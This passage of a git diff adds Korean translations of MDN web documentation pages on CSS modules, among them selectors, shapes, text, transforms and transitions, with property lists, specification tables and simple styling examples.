+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Ruby')}}</td>
+ <td>{{Spec2('CSS3 Ruby')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<div id="compat-mobile"> </div>
diff --git a/files/ko/web/css/css_scroll_snap_points/index.html b/files/ko/web/css/css_scroll_snap_points/index.html
new file mode 100644
index 0000000000..1603df3f02
--- /dev/null
+++ b/files/ko/web/css/css_scroll_snap_points/index.html
@@ -0,0 +1,50 @@
+---
+title: CSS Scroll Snap Points
+slug: Web/CSS/CSS_Scroll_Snap_Points
+tags:
+ - CSS
+ - CSS Scroll Snap
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Scroll_Snap_Points
+---
+<p>{{CSSRef}}{{deprecated_header}}</p>
+
+<p><strong>CSS Scroll Snap Points</strong>는 물리보다는 논리상 방향과 차원 맵핑을 통해 레이아웃을 제어하는 능력을 제공하는 속성 및 값을 정의하는 CSS 모듈입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 같은 기능을 정의하는 최신 명세는 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Scroll_Snap">CSS Scroll Snap</a>입니다.</p>
+</div>
+
+<h2 id="참고">참고</h2>
+
+<h3 id="CSS_속성">CSS 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("scroll-snap-coordinate")}}</li>
+ <li>{{cssxref("scroll-snap-destination")}}</li>
+ <li>{{cssxref("scroll-snap-points-x")}}</li>
+ <li>{{cssxref("scroll-snap-points-y")}}</li>
+ <li>{{cssxref("scroll-snap-type")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-snap-points-y", "scroll-snap-points-y")}}</td>
+ <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_selectors/index.html b/files/ko/web/css/css_selectors/index.html
new file mode 100644
index 0000000000..eb5af87d66
--- /dev/null
+++ b/files/ko/web/css/css_selectors/index.html
@@ -0,0 +1,133 @@
+---
+title: CSS 선택자
+slug: Web/CSS/CSS_Selectors
+tags:
+ - CSS
+ - Guide
+ - Overview
+ - Reference
+ - Selectors
+ - 선택자
+translation_of: Web/CSS/CSS_Selectors
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>CSS 선택자</strong>는 CSS 규칙을 적용할 요소를 정의합니다.</span></p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 부모, 부모의 형제, 부모 형제의 자식을 선택할 수 있는 선택자는 존재하지 않습니다.</p>
+</div>
+
+<h2 id="기본_선택자">기본 선택자</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/Universal_selectors">전체 선택자</a></dt>
+ <dd>모든 요소를 선택합니다. 추가로 네임스페이스 제한을 둘 수 있습니다.<br>
+ <strong>구문:</strong> <code>*</code> <code><var>ns</var>|*</code> <code>*|*</code><br>
+ <strong>예제:</strong> <code>*</code>은 문서 내의 모든 요소와 일치합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Type_selectors">유형 선택자</a></dt>
+ <dd>주어진 노드 이름을 가진 모든 요소를 선택합니다.<br>
+ <strong>구문:</strong> <code><var>elementname</var></code><br>
+ <strong>예제:</strong> <code>input</code>은 모든 {{HTMLElement("input")}} 요소와 일치합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Class_selectors">클래스 선택자</a></dt>
+ <dd>주어진 <code>class</code> 특성을 가진 모든 요소를 선택합니다.<br>
+ <strong>구문:</strong> <code>.<var>classname</var></code><br>
+ <strong>예제:</strong> <code>.index</code>는 "index" 클래스를 가진 모든 요소와 일치합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/ID_selectors">ID 선택자</a></dt>
+ <dd><code>id</code> 특성에 따라 요소를 선택합니다. 문서 내에는 주어진 ID를 가진 요소가 하나만 존재해야 합니다.<br>
+ <strong>구문:</strong> <code>#<var>idname</var></code><br>
+ <strong>예제:</strong> <code>#toc</code>는 "toc" ID를 가진 요소와 일치합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Attribute_selectors">특성 선택자</a></dt>
+ <dd>주어진 특성을 가진 모든 요소를 선택합니다.<br>
+ <strong>구문:</strong> <code>[<var>attr</var>]</code> <code>[<var>attr</var>=<var>value</var>]</code> <code>[<var>attr</var>~=<var>value</var>]</code> <code>[<var>attr</var>|=<var>value</var>]</code> <code>[<var>attr</var>^=<var>value</var>]</code> <code>[<var>attr</var>$=<var>value</var>]</code> <code>[<var>attr</var>*=<var>value</var>]</code><br>
+ <strong>예제:</strong> <code>[autoplay]</code>는 <code>autoplay</code> 특성을 설정한 모든 요소와 일치합니다. 특성의 값은 고려하지 않습니다.</dd>
+</dl>
+
+<h2 id="그룹_선택자">그룹 선택자</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/Selector_list">선택자 목록</a></dt>
+ <dd><code>,</code>는 선택자 그룹을 생성하는 방법으로, 모든 일치하는 노드를 선택합니다.<br>
+ <strong>구문:</strong> <code style="white-space: nowrap;"><var>A</var>, <var>B</var></code><br>
+ <strong>예제:</strong> <code>div, span</code>은 모든 {{HTMLElement("span")}}과 {{HTMLElement("div")}} 요소와 일치합니다.</dd>
+</dl>
+
+<h2 id="결합자">결합자</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/Descendant_combinator">자손 결합자</a></dt>
+ <dd><code> </code> (공백) 결합자는 첫 번째 요소의 자손인 노드를 선택합니다.<br>
+ <strong>구문:</strong> <code style="white-space: nowrap;"><var>A</var> <var>B</var></code><br>
+ <strong>예제:</strong> <code>div span</code>은 {{HTMLElement("div")}} 요소 안에 위치하는 모든 {{HTMLElement("span")}} 요소와 일치합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Child_combinator">자식 결합자</a></dt>
+ <dd><code>&gt;</code> 결합자는 첫 번째 요소의 바로 아래 자식인 노드를 선택합니다.<br>
+ <strong>구문:</strong> <code style="white-space: nowrap;"><var>A</var> &gt; <var>B</var></code><br>
+ <strong>예제:</strong> <code>ul &gt; li</code>는 {{HTMLElement("ul")}} 요소 바로 아래에 위치하는 모든 {{HTMLElement("li")}} 요소와 일치합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/General_sibling_combinator">일반 형제 결합자</a></dt>
+ <dd><code>~</code> 결합자는 형제, 즉 첫 번째 요소를 뒤따르면서 같은 부모를 공유하는 두 번째 요소를 선택합니다.<br>
+ <strong>구문:</strong> <code style="white-space: nowrap;"><var>A</var> ~ <var>B</var></code><br>
+ <strong>예제:</strong> <code>p ~ span</code>은 {{HTMLElement("p")}} 요소를 뒤따르는 모든 {{HTMLElement("span")}} 요소와 일치합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Adjacent_sibling_combinator">인접 형제 결합자</a></dt>
+ <dd><code>+</code> 결합자는 인접 형제, 즉 첫 번째 요소의 바로 뒤에 위치하면서 같은 부모를 공유하는 두 번째 요소를 선택합니다.<br>
+ <strong>구문:</strong> <code style="white-space: nowrap;"><var>A</var> + <var>B</var></code><br>
+ <strong>예제:</strong> <code>h2 + p</code>는 {{HTMLElement("h2")}} 바로 뒤에 위치하는 {{HTMLElement("p")}} 요소와 일치합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Column_combinator">열 결합자</a> {{Experimental_Inline}}</dt>
+ <dd><code>||</code> 결합자는 같은 열에 속하는 노드를 선택합니다.<br>
+ <strong>구문:</strong> <code style="white-space: nowrap;"><var>A</var> || <var>B</var></code><br>
+ <strong>예제:</strong> <code>col || td</code>는 {{HTMLElement("col")}}의 범위에 속하는 모든 {{HTMLElement("td")}} 요소와 일치합니다.</dd>
+</dl>
+
+<h2 id="의사_클래스요소">의사 클래스/요소</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a></dt>
+ <dd>의사 <code>:</code>은 문서 트리가 포함하지 않는 상태 정보에 기반해 요소를 선택할 수 있습니다.<br>
+ <strong>예제:</strong> <code>a:visited</code>는 사용자가 방문한 모든 {{HTMLElement("a")}} 요소와 일치합니다.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Pseudo-elements">의사 요소</a></dt>
+ <dd>의사 <code>::</code>는 HTML이 포함하지 않는 개체를 선택합니다.<br>
+ <strong>예제:</strong> <code>p::first-line</code>은 모든 {{HTMLElement("p")}} 요소의 첫 번째 줄과 일치합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS4 Selectors")}}</td>
+ <td>{{Spec2("CSS4 Selectors")}}</td>
+ <td>Added the <code>||</code> column combinator, grid structural selectors, logical combinators, location, time-demensional, resource state, linguistic and UI pseudo-classes, modifier for ASCII case-sensitive and case-insensitive attribute value selection.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Selectors")}}</td>
+ <td>{{Spec2("CSS3 Selectors")}}</td>
+ <td>Added the <code>~</code> general sibling combinator and tree-structural pseudo-classes.<br>
+ Made pseudo-elements use a <code>::</code> double-colon prefix. Additional attribute selectors</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1", "selector.html")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td>Added the <code>&gt;</code> child and <code>+</code> adjacent sibling combinators.<br>
+ Added the <strong>universal</strong> and <strong>attribute</strong> selectors.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS1")}}</td>
+ <td>{{Spec2("CSS1")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a href="/ko/docs/Web/CSS/Pseudo-classes#명세">의사 클래스</a>와 <a href="/ko/docs/Web/CSS/Pseudo-elements#명세">의사 요소</a>의 명세 표에서 각각의 상세 정보를 볼 수 있습니다.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Specificity">CSS 명시도</a></li>
+</ul>
diff --git a/files/ko/web/css/css_shapes/index.html b/files/ko/web/css/css_shapes/index.html
new file mode 100644
index 0000000000..f814002c56
--- /dev/null
+++ b/files/ko/web/css/css_shapes/index.html
@@ -0,0 +1,80 @@
+---
+title: CSS Shapes
+slug: Web/CSS/CSS_Shapes
+tags:
+ - CSS
+ - CSS Shapes
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Shapes
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Shapes</strong>는 CSS에서 사용하기 위한 기하학적 도형을 설명한다. 레벌1 명세에 의하면 떠있는 요소에 CSS Shapes를 적용할 수 있다. 명세의 정의에 의하면 떠있는 요소의 모양을 정의 하거나  요소 상자의 사각형을 따르는 대신 테두리 선을 따라 감싸지도록 하는 방법 등  다양한 방법을 정의하고 있다. </p>
+
+<h2 id="Basic_Example" name="Basic_Example">기본 예제</h2>
+
+<p>아래 예제는 왼쪽에 떠있는 이미지에 shape-outside속성에 circle(50%) 값이 적용된 모습을 볼수 있다. 이런식으로 원모양을 만들면 도옇의 둘래를 따라 주변 텍스트가 흘러내리는것을 볼수 있다. 둘러싼 텍스트가 도형의 모양을 따라 길이가 변하게 되었다. </p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/overview/circle.html", '100%', 720)}}</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("shape-outside")}}</li>
+ <li>{{cssxref("shape-margin")}}</li>
+ <li>{{cssxref("shape-image-threshold")}}</li>
+</ul>
+</div>
+
+<h3 id="자료형">자료형</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;basic-shape&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Overview_of_CSS_Shapes">Overview of CSS Shapes</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Shapes_From_Box_Values">Shapes from Box Values</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Basic_Shapes">Basic Shapes</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Shapes_From_Images">Shapes from Images</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">Edit Shape Paths in CSS — Firefox Developer Tools</a></li>
+</ul>
+
+<h2 id="외부_자료">외부 자료</h2>
+
+<ul>
+ <li><a href="https://codepen.io/KristopherVanSant/post/css-shapes-resources">A list of CSS Shapes resources</a></li>
+ <li><a href="https://alistapart.com/article/css-shapes-101">CSS Shapes 101</a></li>
+ <li><a href="https://www.sarasoueidan.com/blog/css-shapes/">Creating non-rectangular layouts with CSS Shapes</a></li>
+ <li><a href="https://webdesign.tutsplus.com/tutorials/how-to-use-css-shapes-in-your-web-design--cms-27498">How To Use CSS Shapes In Your Web Design</a></li>
+ <li><a href="https://www.webdesignerdepot.com/2015/03/how-to-get-started-with-css-shapes/">How To Get Started With CSS Shapes</a></li>
+ <li><a href="https://medium.com/@MHarreither/what-i-learned-in-one-weekend-with-css-shapes-66ae9be69cc5">What I Learned In One Weekend With CSS Shapes</a></li>
+ <li><a href="https://theblog.adobe.com/css-vs-svg-shapes-and-arbitrarily-shaped-ui-components/">CSS vs. SVG: Shapes and Arbitrarily-Shaped UI Components</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS Shapes")}}</td>
+ <td>{{Spec2("CSS Shapes")}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_table/index.html b/files/ko/web/css/css_table/index.html
new file mode 100644
index 0000000000..ad712ec39e
--- /dev/null
+++ b/files/ko/web/css/css_table/index.html
@@ -0,0 +1,48 @@
+---
+title: CSS Table
+slug: Web/CSS/CSS_Table
+tags:
+ - CSS
+ - CSS Table
+ - Guide
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Table
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Table</strong>은 표 데이터의 배치법을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("border-collapse")}}</li>
+ <li>{{cssxref("border-spacing")}}</li>
+ <li>{{cssxref("caption-side")}}</li>
+ <li>{{cssxref("empty-cells")}}</li>
+ <li>{{cssxref("table-layout")}}</li>
+ <li>{{cssxref("vertical-align")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS2.1", "tables.html")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_text/index.html b/files/ko/web/css/css_text/index.html
new file mode 100644
index 0000000000..9edc21d716
--- /dev/null
+++ b/files/ko/web/css/css_text/index.html
@@ -0,0 +1,71 @@
+---
+title: CSS Text
+slug: Web/CSS/CSS_Text
+tags:
+ - CSS
+ - CSS Text
+ - Guide
+ - Overview
+translation_of: Web/CSS/CSS_Text
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Text</strong>는 줄 바꿈, 정돈 및 정렬, 공백 처리 및 텍스트 변환 같은 텍스트 조작을 수행하는 법을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("hanging-punctuation")}}</li>
+ <li>{{cssxref("hyphens")}}</li>
+ <li>{{cssxref("letter-spacing")}}</li>
+ <li>{{cssxref("line-break")}}</li>
+ <li>{{cssxref("overflow-wrap")}}</li>
+ <li>{{cssxref("tab-size")}}</li>
+ <li>{{cssxref("text-align")}}</li>
+ <li>{{cssxref("text-align-last")}}</li>
+ <li>{{cssxref("text-indent")}}</li>
+ <li>{{cssxref("text-justify")}}</li>
+ <li>{{cssxref("text-size-adjust")}}</li>
+ <li>{{cssxref("text-transform")}}</li>
+ <li>{{cssxref("white-space")}}</li>
+ <li>{{cssxref("word-break")}}</li>
+ <li>{{cssxref("word-spacing")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS Logical Properties')}}</td>
+ <td>{{Spec2('CSS Logical Properties')}}</td>
+ <td>텍스트 방향성에 독립된 일부 속성 갱신.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Text')}}</td>
+ <td>{{Spec2('CSS3 Text')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'text.html')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_text_decoration/index.html b/files/ko/web/css/css_text_decoration/index.html
new file mode 100644
index 0000000000..e01c36d116
--- /dev/null
+++ b/files/ko/web/css/css_text_decoration/index.html
@@ -0,0 +1,69 @@
+---
+title: CSS Text Decoration
+slug: Web/CSS/CSS_Text_Decoration
+tags:
+ - CSS
+ - CSS Text Decoration
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Text_Decoration
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Text Decoration</strong>은 밑줄, 텍스트 그림자 및 강조 표시 등 텍스트 장식에 관련된 기능을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("letter-spacing")}}</li>
+ <li>{{cssxref("text-align")}}</li>
+ <li>{{cssxref("text-decoration")}}</li>
+ <li>{{cssxref("text-decoration-color")}}</li>
+ <li>{{cssxref("text-decoration-line")}}</li>
+ <li>{{cssxref("text-decoration-style")}}</li>
+ <li>{{cssxref("text-emphasis")}}</li>
+ <li>{{cssxref("text-emphasis-color")}}</li>
+ <li>{{cssxref("text-emphasis-position")}}</li>
+ <li>{{cssxref("text-emphasis-style")}}</li>
+ <li>{{cssxref("text-indent")}}</li>
+ <li>{{cssxref("text-rendering")}}</li>
+ <li>{{cssxref("text-shadow")}}</li>
+ <li>{{cssxref("text-transform")}}</li>
+ <li>{{cssxref("white-space")}}</li>
+ <li>{{cssxref("word-spacing")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Text Decoration')}}</td>
+ <td>{{Spec2('CSS3 Text Decoration')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'text.html')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<div id="compat-mobile"> </div>
diff --git a/files/ko/web/css/css_transforms/index.html b/files/ko/web/css/css_transforms/index.html
new file mode 100644
index 0000000000..f4cffad3b6
--- /dev/null
+++ b/files/ko/web/css/css_transforms/index.html
@@ -0,0 +1,66 @@
+---
+title: CSS Transforms
+slug: Web/CSS/CSS_Transforms
+tags:
+ - CSS
+ - CSS Transforms
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Transforms
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Transforms</strong> is a module of CSS that defines how elements styled with CSS can be transformed in two-dimensional or three-dimensional space.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="Properties">Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("backface-visibility")}}</li>
+ <li>{{cssxref("perspective")}}</li>
+ <li>{{cssxref("perspective-origin")}}</li>
+ <li>{{cssxref("rotate")}}</li>
+ <li>{{cssxref("scale")}}</li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("transform-box")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+ <li>{{cssxref("transform-style")}}</li>
+ <li>{{cssxref("translate")}}</li>
+</ul>
+</div>
+
+<h3 id="Data_types">Data types</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms">Using CSS transforms</a></dt>
+ <dd>Step-by-step tutorial about how to transform elements styled with CSS.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Transforms') }}</td>
+ <td>{{ Spec2('CSS3 Transforms') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_transforms/using_css_transforms/index.html b/files/ko/web/css/css_transforms/using_css_transforms/index.html
new file mode 100644
index 0000000000..1c29e3b1e3
--- /dev/null
+++ b/files/ko/web/css/css_transforms/using_css_transforms/index.html
@@ -0,0 +1,80 @@
+---
+title: CSS 변형 사용하기
+slug: Web/CSS/CSS_Transforms/Using_CSS_transforms
+tags:
+ - 3D
+ - Advanced
+ - CSS
+ - CSS Transforms
+ - Graphics
+ - Guide
+translation_of: Web/CSS/CSS_Transforms/Using_CSS_transforms
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS 변형</strong>(transform)은 좌표공간을 변형함으로써 일반적인 문서 흐름을 방해하지 않고 콘텐츠의 형태와 위치를 바꿉니다. 본 가이드는 변형 사용법의 기초를 제시합니다.</p>
+
+<p>CSS 변형은 HTML 요소에 선형 아핀 변형(affine linear transformation)을 적용하는 여러 개의 CSS 속성을 조합해 구현합니다. 변형은 평면과 3D 공간에서의 회전, 확대, 이동, 비틀기를 포함합니다.</p>
+
+<div class="warning">
+<p><a href="/ko/docs/Web/CSS/CSS_Box_Model">박스 모델</a>에 따라 배치된 요소만 <code>transform</code>을 적용할 수 있습니다. 한 가지 예를 들자면, <code>display: block</code>속성을 가진 요소는 박스 모델을 따릅니다. </p>
+</div>
+
+<h2 id="CSS_변형_속성">CSS 변형 속성</h2>
+
+<p>CSS 변형을 정의할 때 중요한 두 가지 속성은 {{cssxref("transform")}}과 {{cssxref("transform-origin")}}입니다.</p>
+
+<dl>
+ <dt>{{cssxref("transform-origin")}}</dt>
+ <dd>원점의 위치를 지정합니다. 기본값은 요소의 중심이며 변경할 수 있습니다. 회전, 확대, 비틀기 등 하나의 점을 기준으로 하는 변형에서 사용합니다.</dd>
+ <dt>{{cssxref("transform")}}</dt>
+ <dd>요소에 적용할 변형을 지정합니다. 여러 개의 변형 목록을 공백으로 구분하여 대입하면 순차적으로 합성한 결과물을 적용합니다. 합성은 오른쪽부터 왼쪽으로 진행합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 이미지는 변형하지 않은 MDN 로고입니다.</p>
+
+<p><img alt="MDN Logo" src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png"></p>
+
+<h3 id="회전">회전</h3>
+
+<p>MDN 로고를 90도 회전합니다.</p>
+
+<pre class="brush: html notranslate">&lt;img style="transform: rotate(90deg);
+ transform-origin: bottom left;"
+ src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png"&gt;</pre>
+
+<p>{{EmbedLiveSample('회전', 'auto', 240) }}</p>
+
+<h3 id="비틀고_옮기기">비틀고 옮기기</h3>
+
+<p>MDN 로고를 10도 비틀고 X축으로 150픽셀 옮깁니다.</p>
+
+<pre class="brush: html notranslate">&lt;img style="transform: skewx(10deg) translatex(150px);
+ transform-origin: bottom left;"
+ src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png"&gt;</pre>
+
+<p>{{EmbedLiveSample('비틀고_옮기기') }}</p>
+
+<h2 id="3D_전용_CSS_속성">3D 전용 CSS 속성</h2>
+
+<p>3D 공간에서의 CSS 변환은 좀 더 복잡합니다. 우선 원근감을 부여해 3D 공간을 설정한 후에, 2D 요소가 그 안에서 어떻게 행동할지 설정해야 합니다..</p>
+
+<h3 id="원근">원근</h3>
+
+<p>처음으로 정할 항목은 {{cssxref("perspective")}}입니다. 우리가 입체라고 느낄 수 있는 건 원근감 덕분입니다. 요소가 관찰자에서 멀어질 수록 더 작게 보입니다.</p>
+
+<p>{{page("/ko/docs/Web/CSS/perspective", "Setting perspective", 0, 0, 3)}}</p>
+
+<p>다음으로는 {{cssxref("perspective-origin")}} 속성으로 관찰자의 위치를 정해야 합니다. 기본값은 중앙으로, 언제나 충분한 위치는 아닙니다.</p>
+
+<p>{{page("/ko/docs/Web/CSS/perspective-origin", "Changing the perspective origin", 0, 0, 3)}}</p>
+
+<p>모든 과정을 마쳤다면 3D 공간의 요소를 작업할 수 있습니다.</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/Events/Using_device_orientation_with_3D_transforms" title="Using Deviceorientation In 3D Transforms">Using device orientation with 3D Transforms</a></li>
+</ul>
diff --git a/files/ko/web/css/css_transitions/index.html b/files/ko/web/css/css_transitions/index.html
new file mode 100644
index 0000000000..e32bb60c42
--- /dev/null
+++ b/files/ko/web/css/css_transitions/index.html
@@ -0,0 +1,59 @@
+---
+title: CSS Transitions
+slug: Web/CSS/CSS_Transitions
+tags:
+ - CSS
+ - CSS Transitions
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Transitions
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Transitions</strong>는 특정 CSS 속성의 값을 점진적으로 바꿀 수 있는 CSS 모듈입니다. 타이밍 함수, 시간 등 여러 속성을 통해 값이 바뀌는 방식을 조절할 수 있습니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("transition")}}</li>
+ <li>{{cssxref("transition-delay")}}</li>
+ <li>{{cssxref("transition-duration")}}</li>
+ <li>{{cssxref("transition-property")}}</li>
+ <li>{{cssxref("transition-timing-function")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/Guide/CSS/Using_CSS_transitions">CSS 트랜지션 사용하기</a></dt>
+ <dd>CSS 트랜지션을 사용하는 법이 단계별로 적혀있습니다. 각각의 CSS 트랜지션 속성의 설명과, 서로 합치면 어떻게 동작하는지 설명합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Transitions')}}</td>
+ <td>{{Spec2('CSS3 Transitions')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Animations">CSS Animations</a>를 사용하면 값의 전환을 CSS Transitions보다 더 세밀하게 조절할 수 있습니다.</li>
+</ul>
diff --git a/files/ko/web/css/css_transitions/using_css_transitions/index.html b/files/ko/web/css/css_transitions/using_css_transitions/index.html
new file mode 100644
index 0000000000..c81a169965
--- /dev/null
+++ b/files/ko/web/css/css_transitions/using_css_transitions/index.html
@@ -0,0 +1,1058 @@
+---
+title: CSS 트랜지션 사용하기
+slug: Web/CSS/CSS_Transitions/Using_CSS_transitions
+tags:
+ - Advanced
+ - CSS
+ - CSS Transitions
+ - Guide
+translation_of: Web/CSS/CSS_Transitions/Using_CSS_transitions
+---
